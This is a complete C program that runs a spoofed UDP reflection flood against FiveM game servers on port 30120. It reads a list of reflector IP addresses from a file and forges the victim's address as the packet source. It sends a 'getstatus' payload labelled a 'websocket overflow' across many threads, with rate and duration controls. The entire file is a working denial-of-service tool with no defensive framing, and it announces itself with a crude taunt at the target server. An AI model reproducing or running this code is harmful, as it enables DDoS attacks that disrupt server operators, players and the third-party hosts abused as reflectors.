fivem

#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0xaaf219b9

static unsigned int DPORT = 30120;
static const char PAYLOAD[] = "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0d\x0a\x0d\x0a"
"\x37\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x4c\x4c\x0d\x0a\x0a\x0d"; // Websocket Overflow

static uint32_t Q[4096], c = 362436;
static unsigned int PAYLOADSIZE = sizeof(PAYLOAD);

struct list {
	struct sockaddr_in data;
	struct list *next;
	struct list *prev;
};

struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;

struct thread_data {
	int thread_id;
	struct list *list_node;
	struct sockaddr_in sin;
};

uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
{
    const uint16_t *buf = buff;
    uint32_t ip_src = iph->saddr;
    uint32_t ip_dst = iph->daddr;
    uint32_t sum = 0;
    //int length = len;

    while (len > 1)
    {
        sum += *buf;
        buf++;
        len -= 2;
    }

    if (len == 1)
        sum += *((uint8_t *) buf);

    sum += (ip_src >> 16) & 0xFFFF;
    sum += ip_src & 0xFFFF;
    sum += (ip_dst >> 16) & 0xFFFF;
    sum += ip_dst & 0xFFFF;
    sum += htons(iph->protocol);
    sum += data_len;

    while (sum >> 16)
        sum = (sum & 0xFFFF) + (sum >> 16);

    return ((uint16_t) (~sum));
}

void init_rand(uint32_t x)
{
	int i;
	Q[0] = x;
	Q[1] = x + PHI;
	Q[2] = x + PHI + PHI;
	for (i = 3; i < 4096; i++)
		Q[i] = Q[i] ^ Q[i] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
	uint64_t t, a = 18782LL;
	static uint32_t i = 4095;
	uint32_t x, r = 0xfffffffe;

	i = (i + 1) & 4095;
	t = a * Q[i] + c;
	c = (t >> 32);
	x = t + c;

	if (x < c)
	{
		x++;
		c++;
	}
	return (Q[i] = r - x);
}

void setup_ip_header(struct iphdr *iph)
{
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
	iph->id = htonl(61337);
	iph->frag_off = 0;
	iph->ttl = MAXTTL;
	iph->protocol = IPPROTO_UDP;
	iph->check = 0;
	iph->saddr = inet_addr("127.0.0.1");
}

void setup_udp_header(struct udphdr *udph)
{
	udph->source = htons(61337);
	udph->dest = htons(DPORT);
	udph->check = 0;
	memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
	udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
}

void *flood(void *par1)
{
	struct thread_data *td = (struct thread_data *)par1;
	char datagram[MAX_PACKET_SIZE];
	struct iphdr *iph = (struct iphdr *)datagram;
	struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
	struct sockaddr_in sin = td->sin;
	struct list *list_node = td->list_node;
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

	if (s < 0)
	{
		fprintf(stderr, "Could not open raw socket.\n");
		exit(-1);
	}

	init_rand(time(NULL));
	memset(datagram, 0, MAX_PACKET_SIZE);
	setup_ip_header(iph);
	setup_udp_header(udph);
	udph->source = htons(tehport);
	iph->saddr = sin.sin_addr.s_addr;
	iph->daddr = list_node->data.sin_addr.s_addr;
	int tmp = 1;
	const int *val = &tmp;

	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
	{
		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
		exit(-1);
	}

	init_rand(time(NULL));
	register unsigned int i;
	i = 0;

	while (1)
	{
		if(tehport == 0)
			udph->source = htons(rand_cmwc() % 0xFFFF);

		list_node = list_node->next;
		iph->daddr = list_node->data.sin_addr.s_addr;
		iph->id = htonl(rand_cmwc() & 0xFFFF);
		iph->ttl = rand() % (255 + 1 - 0) + 0;

		udph->check = 0;
		udph->check = checksum_tcpudp(iph, udph, htons(sizeof(struct udphdr) + PAYLOADSIZE), sizeof(struct udphdr) + PAYLOADSIZE);

		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
		sizeof(list_node->data));
		pps++;

		if (i >= limiter)
		{
			i = 0;
			usleep(sleeptime);
		}
		i++;
	}
}

int main(int argc, char *argv[])
{
	if (argc < 6)
	{
		fprintf(stdout, "%s <host> <port> <listfile> <threads> <limit[-1 for none]> <time>\n", argv[0]);
		exit(-1);
	}

	srand(time(NULL));
	int i = 0;
	head = NULL;
	fprintf(stdout, "Loading list to buffer\n");
	int max_len = 512;
	char *buffer = (char *)malloc(max_len);
	buffer = memset(buffer, 0x00, max_len);
	tehport = atoi(argv[2]);
	int num_threads = atoi(argv[4]);
	int maxpps = atoi(argv[5]);
	limiter = 0;
	pps = 0;
	int multiplier = 100;
	FILE *list_fd = fopen(argv[3], "r");

	while (fgets(buffer, max_len, list_fd) != NULL)
	{
		if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r'))
		{
			buffer[strlen(buffer) - 1] = 0x00;
			if (head == NULL)
			{
				head = (struct list *)malloc(sizeof(struct list));
				bzero(&head->data, sizeof(head->data));
				head->data.sin_addr.s_addr = inet_addr(buffer);
				head->next = head;
				head->prev = head;
			}
			else
			{
				struct list *new_node = (struct list *)malloc(sizeof(struct list));
				memset(new_node, 0x00, sizeof(struct list));
				new_node->data.sin_addr.s_addr = inet_addr(buffer);
				new_node->prev = head;
				new_node->next = head->next;
				head->next = new_node;
			}
			i++;
		}
		else
			continue;
	}

	struct list *current = head->next;
	pthread_t thread[num_threads];
	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	struct thread_data td[num_threads];

	for (i = 0; i < num_threads; i++)
	{
		td[i].thread_id = i;
		td[i].sin = sin;
		td[i].list_node = current;
		pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
	}

	fprintf(stdout, "Fucking That Shitty FiveM Server");
	for (i = 0; i < (atoi(argv[6]) * multiplier); i++)
	{
		usleep((1000 / multiplier) * 1000);
		if ((pps * multiplier) > maxpps)
		{
			if (1 > limiter)
				sleeptime += 100;

			else
				limiter--;
		}
		else
		{
			limiter++;
			if (sleeptime > 25)
				sleeptime -= 25;

			else
				sleeptime = 0;
		}
		pps = 0;
	}
	return 0;
}